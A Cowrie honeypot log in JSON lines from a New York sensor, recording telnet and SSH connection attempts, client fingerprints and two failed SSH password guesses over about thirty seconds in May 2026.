{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47454,"dst_ip":"159.203.135.109","dst_port":23,"session":"8459cf6d2231","protocol":"telnet","message":"New connection: 38.60.198.128:47454 (159.203.135.109:23) [session: 8459cf6d2231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:59.563373Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48636,"dst_ip":"159.203.135.109","dst_port":23,"session":"0616d067ac88","protocol":"telnet","message":"New connection: 38.60.198.128:48636 (159.203.135.109:23) [session: 0616d067ac88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:59.751781Z"}
{"eventid":"cowrie.session.closed","duration":48.7410352230072,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:17:59.837195Z","src_ip":"38.60.198.128","session":"50ec8c8187a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583805561065674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:00.184786Z","src_ip":"144.91.112.66","session":"39f1b92fca86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00124931335449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:00.603046Z","src_ip":"197.97.45.41","session":"aaa8e8e7d404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac5e357d35a1","protocol":"telnet","message":"New connection: 144.91.112.66:47008 (10.17.0.5:23) [session: ac5e357d35a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:00.645480Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47524,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a80e5ff08e8","protocol":"telnet","message":"New connection: 144.91.112.66:47524 (10.17.0.5:23) [session: 8a80e5ff08e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:00.793098Z"}
{"eventid":"cowrie.session.closed","duration":30.302004098892212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:01.050155Z","src_ip":"144.91.112.66","session":"375c2a012913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45830,"dst_ip":"10.17.0.5","dst_port":23,"session":"adbedcd89ce0","protocol":"telnet","message":"New connection: 144.91.112.66:45830 (10.17.0.5:23) [session: adbedcd89ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:01.302342Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49830,"dst_ip":"159.203.135.109","dst_port":23,"session":"547d1a9f7a1d","protocol":"telnet","message":"New connection: 38.60.198.128:49830 (159.203.135.109:23) [session: 547d1a9f7a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:02.896456Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":54672,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56228d2b735","protocol":"telnet","message":"New connection: 144.91.112.66:54672 (10.17.0.5:23) [session: e56228d2b735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:03.225180Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3585bfaba16f","protocol":"telnet","message":"New connection: 144.91.112.66:55220 (10.17.0.5:23) [session: 3585bfaba16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:03.410012Z"}
{"eventid":"cowrie.session.closed","duration":30.814757585525513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:03.601761Z","src_ip":"144.91.112.66","session":"c8836aa9ae8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":56596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25fdc4ac3c1","protocol":"telnet","message":"New connection: 144.91.112.66:56596 (10.17.0.5:23) [session: b25fdc4ac3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:03.906700Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.97.45.41","src_port":42038,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df161fe55a7","protocol":"telnet","message":"New connection: 197.97.45.41:42038 (159.203.135.109:23) [session: 3df161fe55a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:04.786250Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":59746,"dst_ip":"10.17.0.5","dst_port":22,"session":"daa89be01c69","protocol":"ssh","message":"New connection: 198.98.56.227:59746 (10.17.0.5:22) [session: daa89be01c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:04.941832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:04.957358Z","src_ip":"198.98.56.227","session":"daa89be01c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:05.302737Z","src_ip":"198.98.56.227","session":"daa89be01c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.696624517440796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:05.370987Z","src_ip":"38.60.198.128","session":"9ef5e46f667a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":32842,"dst_ip":"10.17.0.5","dst_port":23,"session":"065636286b0a","protocol":"telnet","message":"New connection: 144.91.112.66:32842 (10.17.0.5:23) [session: 065636286b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:05.558833Z"}
{"eventid":"cowrie.session.closed","duration":30.260813236236572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:06.070714Z","src_ip":"144.91.112.66","session":"e0e7ba96e3df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rds","message":"login attempt [ubuntu/P@ssw0rds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:06.361713Z","src_ip":"198.98.56.227","session":"daa89be01c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.899683237075806,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:06.464334Z","src_ip":"38.54.119.93","session":"ce96617d69bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693681478500366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:07.119767Z","src_ip":"144.91.112.66","session":"8c3ee8bc8fd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90553855895996,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:07.175358Z","src_ip":"38.60.198.128","session":"be9f31b338c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796255111694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:07.254002Z","src_ip":"144.91.112.66","session":"f829e5906459","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:07.371059Z","src_ip":"198.98.56.227","session":"daa89be01c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55144,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a33400111b2","protocol":"telnet","message":"New connection: 38.60.198.128:55144 (159.203.135.109:23) [session: 6a33400111b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:07.587874Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54036,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6bb02672ccb","protocol":"telnet","message":"New connection: 38.60.198.128:54036 (159.203.135.109:23) [session: d6bb02672ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:09.572677Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":44910,"dst_ip":"10.17.0.5","dst_port":23,"session":"06386764c71a","protocol":"telnet","message":"New connection: 144.91.112.66:44910 (10.17.0.5:23) [session: 06386764c71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:09.640171Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46320,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd0e37aa1137","protocol":"telnet","message":"New connection: 144.91.112.66:46320 (10.17.0.5:23) [session: fd0e37aa1137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:10.031754Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59180,"dst_ip":"159.203.135.109","dst_port":23,"session":"e627c637ef5d","protocol":"telnet","message":"New connection: 38.60.198.128:59180 (159.203.135.109:23) [session: e627c637ef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:10.554326Z"}
{"eventid":"cowrie.session.closed","duration":31.577517986297607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:10.939097Z","src_ip":"144.91.112.66","session":"4e8087747732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"763a5f2a169f","protocol":"telnet","message":"New connection: 144.91.112.66:54350 (10.17.0.5:23) [session: 763a5f2a169f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:12.412211Z"}
{"eventid":"cowrie.session.closed","duration":30.902621269226074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:14.051380Z","src_ip":"144.91.112.66","session":"1acc9b43a0f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059300899505615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:14.101245Z","src_ip":"144.91.112.66","session":"b018e733ec47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51060152053833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:14.526978Z","src_ip":"144.91.112.66","session":"2061436e9197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7962863445282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:14.651342Z","src_ip":"144.91.112.66","session":"304fa5f342e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":33088,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c088bc1094a","protocol":"telnet","message":"New connection: 144.91.112.66:33088 (10.17.0.5:23) [session: 5c088bc1094a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:14.706086Z"}
{"eventid":"cowrie.session.closed","duration":30.498436450958252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:15.086031Z","src_ip":"144.91.112.66","session":"fbcde99cdfad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36334,"dst_ip":"159.203.135.109","dst_port":23,"session":"6deb451531ad","protocol":"telnet","message":"New connection: 38.60.198.128:36334 (159.203.135.109:23) [session: 6deb451531ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:15.346315Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":37468,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a297d98f53","protocol":"telnet","message":"New connection: 144.91.112.66:37468 (10.17.0.5:23) [session: a1a297d98f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:16.091920Z"}
{"eventid":"cowrie.session.closed","duration":38.779430627822876,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:18.002776Z","src_ip":"38.60.198.128","session":"65b944bbbcf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15064263343811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:18.258039Z","src_ip":"144.91.112.66","session":"1150ce3585d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17467951774597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:18.460232Z","src_ip":"144.91.112.66","session":"f49ae52932a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50514,"dst_ip":"10.17.0.5","dst_port":23,"session":"518029131b74","protocol":"telnet","message":"New connection: 144.91.112.66:50514 (10.17.0.5:23) [session: 518029131b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:19.981873Z"}
{"eventid":"cowrie.session.closed","duration":111.94832801818848,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:20.480554Z","src_ip":"38.60.198.128","session":"4f17a4e3a6f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53494,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9dc7b620f62","protocol":"telnet","message":"New connection: 144.91.112.66:53494 (10.17.0.5:23) [session: d9dc7b620f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:20.950965Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":54348,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1064fe1e13f","protocol":"telnet","message":"New connection: 144.91.112.66:54348 (10.17.0.5:23) [session: c1064fe1e13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:21.226129Z"}
{"eventid":"cowrie.session.closed","duration":43.033267974853516,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:22.301229Z","src_ip":"38.60.198.128","session":"1662aebfb59f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.438684463500977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:22.424773Z","src_ip":"144.91.112.66","session":"c1b0f21ad142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.280540943145752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:22.812370Z","src_ip":"144.91.112.66","session":"80ac03b73e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46582,"dst_ip":"159.203.135.109","dst_port":23,"session":"720f8d2cfb6a","protocol":"telnet","message":"New connection: 38.60.198.128:46582 (159.203.135.109:23) [session: 720f8d2cfb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:23.380995Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3206e6d7e75","protocol":"telnet","message":"New connection: 144.91.112.66:59184 (10.17.0.5:23) [session: b3206e6d7e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:23.982758Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"200b49e569bb","protocol":"telnet","message":"New connection: 144.91.112.66:40004 (10.17.0.5:23) [session: 200b49e569bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:25.779014Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":43844,"dst_ip":"10.17.0.5","dst_port":23,"session":"50a8553b2064","protocol":"telnet","message":"New connection: 144.91.112.66:43844 (10.17.0.5:23) [session: 50a8553b2064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:26.966650Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":44772,"dst_ip":"10.17.0.5","dst_port":23,"session":"04cfd41c03d6","protocol":"telnet","message":"New connection: 144.91.112.66:44772 (10.17.0.5:23) [session: 04cfd41c03d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:27.202696Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50182,"dst_ip":"10.17.0.5","dst_port":23,"session":"8149d9dd64e1","protocol":"telnet","message":"New connection: 144.91.112.66:50182 (10.17.0.5:23) [session: 8149d9dd64e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:28.679230Z"}
{"eventid":"cowrie.session.closed","duration":31.167282342910767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:29.026682Z","src_ip":"144.91.112.66","session":"c0c6c1a95302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"2731ab371e0f","protocol":"telnet","message":"New connection: 144.91.112.66:52960 (10.17.0.5:23) [session: 2731ab371e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:29.549586Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53754,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0905bc5fc64","protocol":"telnet","message":"New connection: 144.91.112.66:53754 (10.17.0.5:23) [session: e0905bc5fc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:29.763266Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51908,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee94ce016a9b","protocol":"telnet","message":"New connection: 144.91.112.66:51908 (10.17.0.5:23) [session: ee94ce016a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:30.199009Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55496,"dst_ip":"10.17.0.5","dst_port":23,"session":"1398a1bc496e","protocol":"telnet","message":"New connection: 144.91.112.66:55496 (10.17.0.5:23) [session: 1398a1bc496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:30.380965Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":51394,"dst_ip":"159.203.135.109","dst_port":22,"session":"b414d8f2fc96","protocol":"ssh","message":"New connection: 57.128.222.14:51394 (159.203.135.109:22) [session: b414d8f2fc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:30.904633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:31.070217Z","src_ip":"57.128.222.14","session":"b414d8f2fc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:31.175866Z","src_ip":"57.128.222.14","session":"b414d8f2fc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.389631032943726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:31.182621Z","src_ip":"144.91.112.66","session":"8a80e5ff08e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55496,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a77b0d8073","protocol":"telnet","message":"New connection: 38.60.198.128:55496 (159.203.135.109:23) [session: 82a77b0d8073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:31.519049Z"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1","message":"login attempt [dev1/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:31.647196Z","src_ip":"57.128.222.14","session":"b414d8f2fc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.380821704864502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:32.026148Z","src_ip":"144.91.112.66","session":"ac5e357d35a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890486001968384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:32.192728Z","src_ip":"144.91.112.66","session":"adbedcd89ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34734,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b0a3c6e987","protocol":"telnet","message":"New connection: 144.91.112.66:34734 (10.17.0.5:23) [session: 17b0a3c6e987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:18:32.714407Z"}
